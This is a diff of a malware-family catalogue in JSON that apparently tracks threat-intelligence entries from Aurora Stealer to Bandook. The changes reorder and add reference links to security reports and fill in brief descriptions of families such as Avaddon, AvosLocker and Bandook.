"https://research.openanalysis.net/in2al5dp3in4er/loader/analysis/sandbox/invalid%20printer/2023/04/23/in2al5dp3in4er.html", + "https://d01a.github.io/aurora-stealer-builder/", + "https://isc.sans.edu/diary/rss/29448", + "https://blog.sekoia.io/aurora-a-rising-stealer-flying-under-the-radar/", + "https://blog.sekoia.io/bluefox-information-stealer-traffer-maas/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "ac697773-7239-4f01-b4b3-7da8b2a64bdf", + "value": "Aurora Stealer" + }, { "description": "Avaddon is a ransomware malware targeting Windows systems often spread via malicious spam. The first known attack where Avaddon ransomware was distributed was in February 2020. Avaddon encrypts files using the extension .avdn and uses a TOR payment site for the ransom payment.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.avaddon", - "https://threatconnect.com/blog/threatconnect-research-roundup-probable-sandworm-infrastructure", - "https://www.cyber.gov.au/sites/default/files/2021-05/2021-003%20Ongoing%20campaign%20using%20Avaddon%20Ransomware%20-%2020210508.pdf", - "https://www.splunk.com/en_us/blog/security/gone-in-52-seconds-and-42-minutes-a-comparative-analysis-of-ransomware-encryption-speed.html", + "https://docs.google.com/spreadsheets/d/1MI8Z2tBhmqQ5X8Wf_ozv3dVjz5sJOs-3", + "https://www.connectwise.com/resources/avaddon-profile", + "https://ke-la.com/how-ransomware-gangs-find-new-monetization-schemes-and-evolve-in-marketing/", + "https://www.splunk.com/en_us/pdfs/resources/whitepaper/an-empirically-comparative-analysis-of-ransomware-binaries.pdf", + "https://twitter.com/Securityinbits/status/1271065316903120902", + "https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/ransomware-report-avaddon-and-new-techniques-emerge-industrial-sector-targeted", + "https://awakesecurity.com/blog/threat-hunting-for-avaddon-ransomware/", + "https://www.pwc.co.uk/issues/cyber-security-services/insights/what-is-behind-ransomware-attacks-increase.html", "https://medium.com/s2wlab/quick-analysis-of-haron-ransomware-feat-avaddon-and-thanos-1ebb70f64dc4", - "https://public.intel471.com/blog/ransomware-as-a-service-2020-ryuk-maze-revil-egregor-doppelpaymer/", - "https://www.hornetsecurity.com/en/security-information/avaddon-from-seeking-affiliates-to-in-the-wild-in-2-days/", "https://www.cyborgsecurity.com/cyborg_labs/hunting-ransomware-inhibiting-system-backup-or-recovery/", - "https://therecord.media/avaddon-ransomware-operation-shuts-down-and-releases-decryption-keys/", "https://medium.com/s2wlab/w4-jan-en-story-of-the-week-ransomware-on-the-darkweb-7595544363b1", + "https://www.welivesecurity.com/la-es/2021/05/31/ransomware-avaddon-principales-caracteristicas/", + "https://twitter.com/dk_samper/status/1348560784285167617", + "https://symantec.broadcom.com/hubfs/The_Ransomware_Threat_September_2021.pdf", + "https://www.coveware.com/blog/ransomware-attack-vectors-shift-as-new-software-vulnerability-exploits-abound", + "https://public.intel471.com/blog/ransomware-as-a-service-2020-ryuk-maze-revil-egregor-doppelpaymer/", + "https://www.swascan.com/it/avaddon-ransomware/", + "https://vulnerability.ch/2021/04/ransomware-and-date-leak-site-publication-time-analysis/", + "https://www.crowdstrike.com/blog/big-game-hunting-on-the-rise-again-according-to-ecrime-index/", + "https://www.splunk.com/en_us/blog/security/gone-in-52-seconds-and-42-minutes-a-comparative-analysis-of-ransomware-encryption-speed.html", + "https://www.hornetsecurity.com/en/security-informationen-en/leakware-ransomware-hybrid-attacks/", + "https://arxiv.org/pdf/2102.04796.pdf", + "https://threatconnect.com/blog/threatconnect-research-roundup-probable-sandworm-infrastructure", + "https://www.mandiant.com/resources/chasing-avaddon-ransomware", + "https://therecord.media/avaddon-ransomware-operation-shuts-down-and-releases-decryption-keys/", + "https://www.bleepingcomputer.com/news/security/avaddon-ransomware-shuts-down-and-releases-decryption-keys/", + "https://news.sophos.com/en-us/2022/03/17/the-ransomware-threat-intelligence-center/", + "https://www.hornetsecurity.com/en/security-information/avaddon-from-seeking-affiliates-to-in-the-wild-in-2-days/", + "https://labs.sentinelone.com/avaddon-raas-breaks-public-decryptor-continues-on-rampage/", + "https://www.tgsoft.it/files/report/download.asp?id=568531345", + "https://www.zdnet.com/article/the-malware-that-usually-installs-ransomware-and-you-need-to-remove-right-away/", "https://www.crowdstrike.com/blog/how-big-game-hunting-ttps-shifted-after-darkside-pipeline-attack/", + "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf", "https://atos.net/en/lp/securitydive/avaddon-ransomware-analysis", "https://www.bleepingcomputer.com/news/security/another-ransomware-now-uses-ddos-attacks-to-force-victims-to-pay/", - "https://vulnerability.ch/2021/04/ransomware-and-date-leak-site-publication-time-analysis/", - "https://www.pwc.co.uk/issues/cyber-security-services/insights/what-is-behind-ransomware-attacks-increase.html", - "https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/ransomware-report-avaddon-and-new-techniques-emerge-industrial-sector-targeted", - "https://docs.google.com/spreadsheets/d/1MI8Z2tBhmqQ5X8Wf_ozv3dVjz5sJOs-3", - "https://www.advanced-intel.com/post/the-rise-demise-of-multi-million-ransomware-business-empire", - "https://www.swascan.com/it/avaddon-ransomware/", - "https://www.coveware.com/blog/ransomware-attack-vectors-shift-as-new-software-vulnerability-exploits-abound", "https://www.cronup.com/post/de-ataque-con-malware-a-incidente-de-ransomware", - "https://www.splunk.com/en_us/pdfs/resources/whitepaper/an-empirically-comparative-analysis-of-ransomware-binaries.pdf", - "https://www.hornetsecurity.com/en/security-informationen-en/leakware-ransomware-hybrid-attacks/", - "https://news.sophos.com/en-us/2022/03/17/the-ransomware-threat-intelligence-center/", - "https://www.tgsoft.it/files/report/download.asp?id=568531345", - "https://labs.sentinelone.com/avaddon-raas-breaks-public-decryptor-continues-on-rampage/", - "https://www.bleepingcomputer.com/news/security/avaddon-ransomware-shuts-down-and-releases-decryption-keys/", - "https://www.connectwise.com/resources/avaddon-profile", - "https://twitter.com/dk_samper/status/1348560784285167617", - "https://awakesecurity.com/blog/threat-hunting-for-avaddon-ransomware/", - "https://www.crowdstrike.com/blog/big-game-hunting-on-the-rise-again-according-to-ecrime-index/", - "https://arxiv.org/pdf/2102.04796.pdf", - "https://www.zdnet.com/article/the-malware-that-usually-installs-ransomware-and-you-need-to-remove-right-away/", - "https://symantec.broadcom.com/hubfs/The_Ransomware_Threat_September_2021.pdf", - "https://www.welivesecurity.com/la-es/2021/05/31/ransomware-avaddon-principales-caracteristicas/", - "https://www.mandiant.com/resources/chasing-avaddon-ransomware", - "https://ke-la.com/how-ransomware-gangs-find-new-monetization-schemes-and-evolve-in-marketing/", - "https://twitter.com/Securityinbits/status/1271065316903120902", - "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf", - "https://therecord.media/darkside-ransomware-gang-says-it-lost-control-of-its-servers-money-a-day-after-biden-threat/" + "https://www.advanced-intel.com/post/the-rise-demise-of-multi-million-ransomware-business-empire", + "https://therecord.media/darkside-ransomware-gang-says-it-lost-control-of-its-servers-money-a-day-after-biden-threat/", + "https://www.cyber.gov.au/sites/default/files/2021-05/2021-003%20Ongoing%20campaign%20using%20Avaddon%20Ransomware%20-%2020210508.pdf" ], "synonyms": [], "type": [] @@ -13021,10 +13847,11 @@ "value": "AvastDisabler" }, { - "description": "", + "description": "Bleeping Computer notes about discovery of AVCrypt, a malware that tries to uninstall existing security software before it encrypts a computer. Furthermore, as it removes numerous services, including Windows Update, and provides no contact information, this ransomware may be a wiper.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.avcrypt", + "https://twitter.com/malwrhunterteam/status/976925447043846145", "https://www.bleepingcomputer.com/news/security/the-avcrypt-ransomware-tries-to-uninstall-your-av-software/" ], "synonyms": [], @@ -13065,41 +13892,50 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.ave_maria", - "https://www.uptycs.com/blog/confucius-apt-deploys-warzone-rat", - "https://blog.talosintelligence.com/2020/09/salfram-robbing-place-without-removing.html", - "https://blog.talosintelligence.com/2021/09/operation-armor-piercer.html", - "http://blog.morphisec.com/threat-alert-ave-maria-infostealer-on-the-rise-with-new-stealthier-delivery", - "https://mp.weixin.qq.com/s/fsesosMnKIfAi_I9I0wKSA", - "https://reaqta.com/2019/04/ave_maria-malware-part1/", - "https://www.netskope.com/blog/dbatloader-abusing-discord-to-deliver-warzone-rat", - "https://www.uptycs.com/blog/warzone-rat-comes-with-uac-bypass-technique", + "https://www.youtube.com/watch?v=81fdvmGmRvM", + "https://securityintelligence.com/posts/roboski-global-recovery-automation/", + "https://info.spamhaus.com/hubfs/Botnet%20Reports/2022%20Q3%20Botnet%20Threat%20Update.pdf", + "https://www.kaspersky.com/about/press-releases/2019_fin7-hacking-group-targets-more-than-130-companies-after-leaders-arrest", + "https://cocomelonc.github.io/tutorial/2022/05/02/malware-pers-3.html", + "https://medium.com/insomniacs/do-you-want-to-bake-a-donut-come-on-lets-go-update-go-away-maria-e8e2b33683b1", "https://www.youtube.com/watch?v=T0tdj1WDioM", "https://www.trendmicro.com/en_us/research/21/i/apt-c-36-updates-its-long-term-spam-campaign-against-south-ameri.html", - "https://resources.malwarebytes.com/files/2020/05/CTNT_Q1_2020_COVID-Report_Final.pdf", - "https://www.fortinet.com/blog/threat-research/phishing-campaign-delivering-fileless-malware", - "https://mp.weixin.qq.com/s/C09P0al1nhsyyujHRp0FAw", - "https://www.ciphertechsolutions.com/roboski-global-recovery-automation/", - "https://blog.team-cymru.com/2019/07/25/unmasking-ave_maria/", - "https://securityintelligence.com/posts/roboski-global-recovery-automation/", - "https://blogs.blackberry.com/en/2022/05/dot-net-stubs-sowing-the-seeds-of-discord", - "https://www.uptycs.com/blog/warzonerat-can-now-evade-with-process-hollowing", - "https://securelist.com/apt-trends-report-q3-2020/99204/", - "https://www.youtube.com/watch?v=-G82xh9m4hc", - "https://blog.yoroi.company/research/the-ave_maria-malware/", - "https://asec.ahnlab.com/en/36629/", - "https://blogs.quickheal.com/warzone-rat-beware-of-the-trojan-malware-stealing-data-triggering-from-various-office-documents/", - "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/21/i/apt-c-36-updates-its-long-term-spam-campaign-against-south-american-entities-with-commodity-rats/BlindEagleIOCList.txt", + "https://securelist.com/fin7-5-the-infamous-cybercrime-rig-fin7-continues-its-activities/90703/", "https://blog.talosintelligence.com/2020/12/2020-year-in-malware.html", - "https://research.checkpoint.com/2020/warzone-behind-the-enemy-lines/", - "https://www.youtube.com/watch?v=81fdvmGmRvM", - "https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf", - "https://blogs.blackberry.com/en/2021/12/threat-thursday-warzone-rat-breeds-a-litter-of-scriptkiddies", + "https://www.uptycs.com/blog/confucius-apt-deploys-warzone-rat", "https://www.spamhaus.org/news/images/botnet-report-2020-q2/2020-q2-spamhaus-botnet-threat-report.pdf", + "https://www.youtube.com/watch?v=-G82xh9m4hc", + "https://www.uptycs.com/blog/warzonerat-can-now-evade-with-process-hollowing", + "https://www.fortinet.com/blog/threat-research/phishing-campaign-delivering-fileless-malware", + "https://blogs.blackberry.com/en/2021/12/threat-thursday-warzone-rat-breeds-a-litter-of-scriptkiddies", + "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/21/i/apt-c-36-updates-its-long-term-spam-campaign-against-south-american-entities-with-commodity-rats/BlindEagleIOCList.txt", + "https://www.ciphertechsolutions.com/roboski-global-recovery-automation/", + "https://mp.weixin.qq.com/s/C09P0al1nhsyyujHRp0FAw", + "https://www.huntress.com/blog/ave-maria-and-the-chambers-of-warzone-rat", + "https://securelist.com/tomiris-called-they-want-their-turla-malware-back/109552/", + "https://reaqta.com/2019/04/ave_maria-malware-part1/", "https://blog.morphisec.com/syk-crypter-discord", - "https://www.kaspersky.com/about/press-releases/2019_fin7-hacking-group-targets-more-than-130-companies-after-leaders-arrest", - "https://medium.com/insomniacs/do-you-want-to-bake-a-donut-come-on-lets-go-update-go-away-maria-e8e2b33683b1", + "https://blog.yoroi.company/research/the-ave_maria-malware/", + "https://www.netskope.com/blog/dbatloader-abusing-discord-to-deliver-warzone-rat", + "https://blogs.blackberry.com/en/2022/05/dot-net-stubs-sowing-the-seeds-of-discord", + "https://kienmanowar.wordpress.com/2023/03/25/quicknote-decrypting-the-c2-configuration-of-warzone-rat/", + "https://www.uptycs.com/blog/warzone-rat-comes-with-uac-bypass-technique", + "https://mp.weixin.qq.com/s/fsesosMnKIfAi_I9I0wKSA", + "https://research.checkpoint.com/2020/warzone-behind-the-enemy-lines/", + "https://resources.malwarebytes.com/files/2020/05/CTNT_Q1_2020_COVID-Report_Final.pdf", + "https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf", + "http://blog.morphisec.com/threat-alert-ave-maria-infostealer-on-the-rise-with-new-stealthier-delivery", + "https://go.recordedfuture.com/hubfs/reports/cta-2022-0919.pdf", + "https://blog.talosintelligence.com/2021/09/operation-armor-piercer.html", + "https://blog.talosintelligence.com/2020/09/salfram-robbing-place-without-removing.html", + "https://info.spamhaus.com/hubfs/Botnet%20Reports/2023%20Q1%20Botnet%20Threat%20Update.pdf", + "https://blogs.quickheal.com/warzone-rat-beware-of-the-trojan-malware-stealing-data-triggering-from-various-office-documents/", "https://www.trendmicro.com/en_us/research/21/i/Water-Basilisk-Uses-New-HCrypt-Variant-to-Flood-Victims-with-RAT-Payloads.html", - "https://securelist.com/fin7-5-the-infamous-cybercrime-rig-fin7-continues-its-activities/90703/" + "https://asec.ahnlab.com/en/36629/", + "https://ti.qianxin.com/blog/articles/Kasablanka-Group-Probably-Conducted-Compaigns-Targeting-Russia/", + "https://securelist.com/apt-trends-report-q3-2020/99204/", + "https://blog.team-cymru.com/2019/07/25/unmasking-ave_maria/", + "https://exploitreversing.files.wordpress.com/2022/11/mas_6-1.pdf" ], "synonyms": [ "AVE_MARIA", @@ -13114,26 +13950,26 @@ "value": "Ave Maria" }, { - "description": "", + "description": "AvosLocker is a ransomware-as-a-service (RaaS) gang that first appeared in mid-2021. It has since become notorious for its attacks targeting critical infrastructure in the United States, including the sectors of financial services, critical manufacturing, and government facilities.\r\n\r\nIn March 2022, the FBI and US Treasury Department issued a warning about the attacks.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.avos_locker", - "https://www.advintel.io/post/enter-karakurt-data-extortion-arm-of-prolific-ransomware-group", - "https://www.trendmicro.com/en_us/research/22/e/avoslocker-ransomware-variant-abuses-driver-file-to-disable-anti-Virus-scans-log4shell.html", - "https://blog.talosintelligence.com/2022/06/avoslocker-new-arsenal.html", - "https://www.ic3.gov/Media/News/2022/220318.pdf", "https://www.trendmicro.com/vinfo/us/security/news/ransomware-spotlight/ransomware-spotlight-avoslocker", + "https://news.sophos.com/en-us/2022/03/17/the-ransomware-threat-intelligence-center/", + "https://blog.talosintelligence.com/2022/06/avoslocker-new-arsenal.html", "https://news.sophos.com/en-us/2021/12/22/avos-locker-remotely-accesses-boxes-even-running-in-safe-mode/", - "https://blog.malwarebytes.com/threat-analysis/2021/07/avoslocker-enters-the-ransomware-scene-asks-for-partners/", + "https://www.advintel.io/post/enter-karakurt-data-extortion-arm-of-prolific-ransomware-group", "https://unit42.paloaltonetworks.com/emerging-ransomware-groups/", - "https://www.advintel.io/post/discontinued-the-end-of-conti-s-brand-marks-new-chapter-for-cybercrime-landscape", - "https://blogs.blackberry.com/en/2022/04/threat-thursday-avoslocker-prompts-advisory-from-fbi-and-fincen", - "https://cdn.pathfactory.com/assets/10555/contents/400686/13f4424c-05b4-46db-bb9c-6bf9b5436ec4.pdf", - "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/ransomware-hive-conti-avoslocker", - "https://blog.cyble.com/2022/01/17/avoslocker-ransomware-linux-version-targets-vmware-esxi-servers/", - "https://blog.qualys.com/vulnerabilities-threat-research/2022/03/06/avoslocker-ransomware-behavior-examined-on-windows-linux", "https://www.symantec.broadcom.com/hubfs/SED/SED_Threat_Hunter_Reports_Alerts/SED_FY22Q2_SES_Ransomware-Threat-Landscape_WP.pdf", - "https://news.sophos.com/en-us/2022/03/17/the-ransomware-threat-intelligence-center/" + "https://blog.malwarebytes.com/threat-analysis/2021/07/avoslocker-enters-the-ransomware-scene-asks-for-partners/", + "https://cdn.pathfactory.com/assets/10555/contents/400686/13f4424c-05b4-46db-bb9c-6bf9b5436ec4.pdf", + "https://www.ic3.gov/Media/News/2022/220318.pdf", + "https://www.trendmicro.com/en_us/research/22/e/avoslocker-ransomware-variant-abuses-driver-file-to-disable-anti-Virus-scans-log4shell.html", + "https://blog.cyble.com/2022/01/17/avoslocker-ransomware-linux-version-targets-vmware-esxi-servers/", + "https://www.advintel.io/post/discontinued-the-end-of-conti-s-brand-marks-new-chapter-for-cybercrime-landscape", + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/ransomware-hive-conti-avoslocker", + "https://blog.qualys.com/vulnerabilities-threat-research/2022/03/06/avoslocker-ransomware-behavior-examined-on-windows-linux", + "https://blogs.blackberry.com/en/2022/04/threat-thursday-avoslocker-prompts-advisory-from-fbi-and-fincen" ], "synonyms": [], "type": [] @@ -13154,6 +13990,19 @@ "uuid": "b12d9354-f67b-47dd-944c-82cfdff7b9a3", "value": "Avzhan" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.axlocker", + "https://blog.cyble.com/2022/11/18/axlocker-octocrypt-and-alice-leading-a-new-wave-of-ransomware-campaigns/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "017ea8db-6eb4-4df1-bac0-da908d2aea9f", + "value": "AXLocker" + }, { "description": "", "meta": { @@ -13185,66 +14034,68 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.azorult", - "https://community.riskiq.com/article/56e28880", - "https://malwarebreakdown.com/2017/11/12/seamless-campaign-delivers-ramnit-via-rig-ek-at-188-225-82-158-follow-up-malware-is-azorult-stealer/", - "https://blog.talosintelligence.com/2020/06/tor2mine-is-up-to-their-old-tricks-and_11.html", - "https://community.riskiq.com/article/2a36a7d2/description", - "https://fr3d.hk/blog/gazorp-thieving-from-thieves", - "https://www.zscaler.com/blogs/security-research/targeted-attacks-oil-and-gas-supply-chain-industries-middle-east", - "https://umbrella.cisco.com/blog/navigating-cybersecurity-during-a-pandemic-latest-malware-and-threat-actors", - "https://www.cybereason.com/blog/the-hole-in-the-bucket-attackers-abuse-bitbucket-to-deliver-an-arsenal-of-malware", - "https://www.domaintools.com/resources/blog/identifying-network-infrastructure-related-to-a-who-spoofing-campaign", - "https://blog.minerva-labs.com/azorult-now-as-a-signed-google-update", - "https://yoroi.company/research/apt-or-not-apt-whats-behind-the-aggah-campaign/", - "https://blog.checkpoint.com/2022/05/10/a-german-car-attack-on-german-vehicle-businesses/", - "https://isc.sans.edu/forums/diary/Analysis+of+a+tripleencrypted+AZORult+downloader/25768/", - "https://resources.malwarebytes.com/files/2020/05/CTNT_Q1_2020_COVID-Report_Final.pdf", - "https://www.proofpoint.com/us/threat-insight/post/new-whiteshadow-downloader-uses-microsoft-sql-retrieve-malware", - "http://www.vkremez.com/2017/07/lets-learn-reversing-credential-and.html", - "https://blog.talosintelligence.com/2020/04/azorult-brings-friends-to-party.html", - "https://blog.prevailion.com/2020/02/the-triune-threat-mastermana-returns.html", - "https://medium.com/csis-techblog/inside-view-of-brazzzersff-infrastructure-89b9188fd145", - "https://www.splunk.com/en_us/blog/security/-applocker-rules-as-defense-evasion-complete-analysis.html", - "https://blog.talosintelligence.com/2021/12/magnat-campaigns-use-malvertising-to.html", - "https://mariohenkel.medium.com/decrypting-azorult-traffic-for-fun-and-profit-9f28d8638b05", - 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"https://www.proofpoint.com/us/threat-insight/post/new-version-azorult-stealer-improves-loading-features-spreads-alongside", + "https://blog.team-cymru.com/2020/02/19/azorult-what-we-see-using-our-own-tools/", + "https://blog.talosintelligence.com/2020/04/azorult-brings-friends-to-party.html", + "https://community.riskiq.com/article/56e28880", + "https://blog.prevailion.com/2020/02/the-triune-threat-mastermana-returns.html", "https://www.zscaler.com/blogs/research/multistage-freedom-loader-used-spread-azorult-and-nanocore-rat", - "https://go.recordedfuture.com/hubfs/reports/cta-2022-0802.pdf", - "https://www.vmray.com/cyber-security-blog/azorult-delivered-by-guloader-malware-analysis-spotlight/", - "https://blog.nviso.eu/2020/09/01/epic-manchego-atypical-maldoc-delivery-brings-flurry-of-infostealers/", + "https://asec.ahnlab.com/en/26517/", + "https://maxkersten.nl/binary-analysis-course/malware-analysis/azorult-loader-stages/", "https://blog.minerva-labs.com/puffstealer-evasion-in-a-cloak-of-multiple-layers", - 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It is manually written in FASM, unrecoverably overwriting data in blocks of 666 bytes, using multi-threading.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.azov_wiper", + "https://research.checkpoint.com/2022/pulling-the-curtains-on-azov-ransomware-not-a-skidsware-but-polymorphic-wiper/", + "https://twitter.com/_CPResearch_/status/1587837524604465153", + "https://www.fortinet.com/blog/threat-research/the-year-of-the-wiper" + ], + "synonyms": [], + "type": [] + }, + "uuid": "db8dee2a-938e-46af-b2e3-ef5d6e626da7", + "value": "Azov Wiper" + }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.babadeda", + "https://blog.morphisec.com/the-babadeda-crypter-targeting-crypto-nft-defi-communities" + ], + "synonyms": [], + "type": [] + }, + "uuid": "fcb369e1-0783-4188-8841-936c6976035f", + "value": "Babadeda" + }, { "description": "", "meta": { "refs": [ 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"FireEye describes BACKBEND as a secondary downloader used as a backup mechanism in the case the primary backdoor is removed. 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"https://www.cyberbit.com/blog/endpoint-security/backswap-banker-malware-hides-inside-replicas-of-legitimate-programs/", "https://www.fintechsecurity.com.hk/slides/01.Dmitry-Annual-Group-IB-report-High-Tech-Crime-Trends.pdf", - "https://research.checkpoint.com/the-evolution-of-backswap/" + "https://www.welivesecurity.com/2018/05/25/backswap-malware-empty-bank-accounts/", + "https://www.f5.com/labs/articles/threat-intelligence/backswap-defrauds-online-banking-customers-using-hidden-input-fi", + "https://explore.group-ib.com/htct/hi-tech_crime_2018", + "https://www.cyberbit.com/blog/endpoint-security/backswap-banker-malware-hides-inside-replicas-of-legitimate-programs/", + "https://www.f5.com/labs/articles/education/banking-trojans-a-reference-guide-to-the-malware-family-tree", + "https://www.cert.pl/en/news/single/backswap-malware-analysis/", + "https://www.cyberbit.com/backswap-banker-malware-hides-inside-replicas-of-legitimate-programs/" ], "synonyms": [], "type": [] @@ -13522,8 +14392,10 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.badcall", + "https://cocomelonc.github.io/tutorial/2021/09/04/simple-malware-av-evasion.html", "https://www.us-cert.gov/ncas/analysis-reports/ar19-252a", - "https://blog.lexfo.fr/ressources/Lexfo-WhitePaper-The_Lazarus_Constellation.pdf" + "https://blog.lexfo.fr/ressources/Lexfo-WhitePaper-The_Lazarus_Constellation.pdf", + "https://www.welivesecurity.com/2023/04/20/linux-malware-strengthens-links-lazarus-3cx-supply-chain-attack" ], "synonyms": [], "type": [] @@ -13563,9 +14435,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.badhatch", + "https://team-cymru.com/blog/2021/03/15/fin8-badhatch-threat-indicator-enrichment/", "https://www.bitdefender.com/files/News/CaseStudies/study/394/Bitdefender-PR-Whitepaper-BADHATCH-creat5237-en-EN.pdf", - "https://symantec.broadcom.com/hubfs/The_Ransomware_Threat_September_2021.pdf", - "https://team-cymru.com/blog/2021/03/15/fin8-badhatch-threat-indicator-enrichment/" + "https://symantec.broadcom.com/hubfs/The_Ransomware_Threat_September_2021.pdf" ], "synonyms": [], "type": [] @@ -13578,32 +14450,24 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.badnews", + "https://cocomelonc.github.io/tutorial/2021/09/04/simple-malware-av-evasion.html", "https://blog.malwarebytes.com/threat-intelligence/2022/01/patchwork-apt-caught-in-its-own-web/", - "https://researchcenter.paloaltonetworks.com/2018/03/unit42-patchwork-continues-deliver-badnews-indian-subcontinent/", - "https://ti.qianxin.com/blog/articles/analysis-of-the-attack-activities-of-patchwork-using-the-documents-of-relevant-government-agencies-in-pakistan-as-bait", "https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf", - "https://www.forcepoint.com/blog/x-labs/monsoon-analysis-apt-campaign", + "https://ti.qianxin.com/blog/articles/analysis-of-the-attack-activities-of-patchwork-using-the-documents-of-relevant-government-agencies-in-pakistan-as-bait", + "http://blog.fortinet.com/2017/04/05/in-depth-look-at-new-variant-of-monsoon-apt-backdoor-part-1", + "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf", + "https://www.virusbulletin.com/uploads/pdf/conference_slides/2019/VB2019-LunghiHorejsi.pdf", "https://www.forcepoint.com/sites/default/files/resources/files/forcepoint-security-labs-monsoon-analysis-report.pdf", "http://blog.fortinet.com/2017/04/05/in-depth-look-at-new-variant-of-monsoon-apt-backdoor-part-2", - "https://lab52.io/blog/new-patchwork-campaign-against-pakistan/", - "http://blog.fortinet.com/2017/04/05/in-depth-look-at-new-variant-of-monsoon-apt-backdoor-part-1", - "https://securelist.com/apt-trends-report-q1-2021/101967/", - "https://www.virusbulletin.com/uploads/pdf/conference_slides/2019/VB2019-LunghiHorejsi.pdf", + "https://researchcenter.paloaltonetworks.com/2018/03/unit42-patchwork-continues-deliver-badnews-indian-subcontinent/", "https://ti.qianxin.com/blog/articles/apt-c-09-reappeared-as-conflict-intensified-between-india-and-pakistan/", - "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf" + "https://lab52.io/blog/new-patchwork-campaign-against-pakistan/", + "https://securelist.com/apt-trends-report-q1-2021/101967/", + "https://www.forcepoint.com/blog/x-labs/monsoon-analysis-apt-campaign" ], "synonyms": [], "type": [] }, - "related": [ - { - "dest-uuid": "48ca79ff-ea36-4a47-8231-0f7f0db0e09e", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "similar" - } - ], "uuid": "f28fa5ca-9466-410c-aa32-4bd102f3f0e1", "value": "BadNews" }, @@ -13625,9 +14489,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.bahamut", - "https://www.blackberry.com/us/en/pdfviewer?file=/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-spark-bahamut.pdf", "https://www.bellingcat.com/resources/case-studies/2017/10/27/bahamut-revisited-cyber-espionage-middle-east-south-asia/", - "https://www.bellingcat.com/news/mena/2017/06/12/bahamut-pursuing-cyber-espionage-actor-middle-east/" + "https://www.bellingcat.com/news/mena/2017/06/12/bahamut-pursuing-cyber-espionage-actor-middle-east/", + "https://www.blackberry.com/us/en/pdfviewer?file=/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-spark-bahamut.pdf" ], "synonyms": [], "type": [] @@ -13640,9 +14504,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.baldr", + "https://krabsonsecurity.com/2019/06/04/taking-a-look-at-baldr-stealer/", "https://www.sophos.com/en-us/medialibrary/PDFs/technical-papers/baldr-vs-the-world.pdf", "https://www.youtube.com/watch?v=E2V4kB_gtcQ", - "https://krabsonsecurity.com/2019/06/04/taking-a-look-at-baldr-stealer/", "https://blog.malwarebytes.com/threat-analysis/2019/04/say-hello-baldr-new-stealer-market/" ], "synonyms": [ @@ -13684,8 +14548,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.bamital", - "https://blogs.microsoft.com/blog/2013/02/22/bamital-botnet-takedown-is-successful-cleanup-underway/", - "https://www.symantec.com/content/dam/symantec/docs/security-center/white-papers/trojan-bamital-13-en.pdf" + "https://www.symantec.com/content/dam/symantec/docs/security-center/white-papers/trojan-bamital-13-en.pdf", + "https://blogs.microsoft.com/blog/2013/02/22/bamital-botnet-takedown-is-successful-cleanup-underway/" ], "synonyms": [], "type": [] @@ -13711,8 +14575,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.bancos", - "https://www.fireeye.com/blog/threat-research/2009/03/bancos-a-brazilian-crook.html", - "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/banking-trojan-latam-brazil" + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/banking-trojan-latam-brazil", + "https://www.fireeye.com/blog/threat-research/2009/03/bancos-a-brazilian-crook.html" ], "synonyms": [], "type": [] @@ -13721,18 +14585,19 @@ "value": "bancos" }, { - "description": "", + "description": "Bandook malware is a remote access trojan (RAT) first seen in 2007 and has been active for several years. Written in both Delphi and C++, it was first seen as a commercial RAT developed by a Lebanese creator named PrinceAli. Over the years, several variants of Bandook were leaked online, and the malware became available for public download.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.bandook", - "https://info.lookout.com/rs/051-ESQ-475/images/Lookout_Dark-Caracal_srr_20180118_us_v.1.0.pdf", - "https://research.checkpoint.com/2020/bandook-signed-delivered", + "https://www.proofpoint.com/us/blog/threat-insight/new-threat-actor-uses-spanish-language-lures-distribute-seldom-observed-bandook", "https://www.welivesecurity.com/2021/07/07/bandidos-at-large-spying-campaign-latin-america/", - "https://www.eff.org/deeplinks/2020/12/dark-caracal-you-missed-spot", "https://research.checkpoint.com/2020/bandook-signed-delivered/", + "https://research.checkpoint.com/2020/bandook-signed-delivered", + "https://www.eff.org/deeplinks/2020/12/dark-caracal-you-missed-spot", + 